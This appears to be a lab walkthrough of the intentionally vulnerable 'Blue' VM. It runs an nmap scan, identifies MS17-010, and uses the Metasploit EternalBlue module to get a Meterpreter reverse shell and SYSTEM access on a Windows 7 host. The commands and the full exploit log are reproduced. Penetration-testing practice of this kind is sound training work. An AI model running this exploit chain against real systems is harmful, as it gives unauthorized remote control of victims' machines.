Blue

Part of the Capstone VMs
An intensionally vulnerable VM

Summary
Nmap
Google
Metasploit

Summary

Windows 7 Ultimate
SMB
Metasploit

Nmap

└─$ nmap -T4 -p- -A -oN nmap_scan.txt 10.0.2.8
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 11:38 CET
Nmap scan report for 10.0.2.8
Host is up (0.0023s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: WIN-845Q99OO4PP; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h40m00s, deviation: 2h53m12s, median: 6h00m00s
|_nbstat: NetBIOS name: WIN-845Q99OO4PP, NetBIOS user: <unknown>, NetBIOS MAC: 0800272a9591 (Oracle VirtualBox virtual NIC)
| smb2-time: 
|   date: 2023-01-18T16:39:39
|_  start_date: 2023-01-18T16:34:13
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-845Q99OO4PP
|   NetBIOS computer name: WIN-845Q99OO4PP\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-01-18T11:39:39-05:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.05 seconds

Google

Search for “windows 7 ultimate 7601 service pack 1 smb vulnerability”
found MS17-010 (EternalBlue)

Metasploit

search eternalblue
use ms17_010_eternalblue
view all options options
set rhosts 10.0.2.8
exploit

[*] Started reverse TCP handler on 10.0.2.9:4444 
[*] 10.0.2.8:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.2.8:445          - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.8:445          - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.2.8:445 - The target is vulnerable.
[*] 10.0.2.8:445 - Connecting to target for exploitation.
[+] 10.0.2.8:445 - Connection established for exploitation.
[+] 10.0.2.8:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.8:445 - CORE raw buffer dump (38 bytes)
[*] 10.0.2.8:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 10.0.2.8:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 10.0.2.8:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 10.0.2.8:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.8:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.8:445 - Sending all but last fragment of exploit packet
[*] 10.0.2.8:445 - Starting non-paged pool grooming
[+] 10.0.2.8:445 - Sending SMBv2 buffers
[+] 10.0.2.8:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.2.8:445 - Sending final SMBv2 buffers.
[*] 10.0.2.8:445 - Sending last fragment of exploit packet!
[*] 10.0.2.8:445 - Receiving response from exploit packet
[+] 10.0.2.8:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.2.8:445 - Sending egg to corrupted connection.
[*] 10.0.2.8:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.0.2.8
[+] 10.0.2.8:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.2.8:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.2.8:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (10.0.2.9:4444 -> 10.0.2.8:49158) at 2023-01-18 11:46:00 +0100

meterpreter > shell
Process 1512 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

WE GOT ROOT

Blue

Table of contents

Summary

Nmap

Google

Metasploit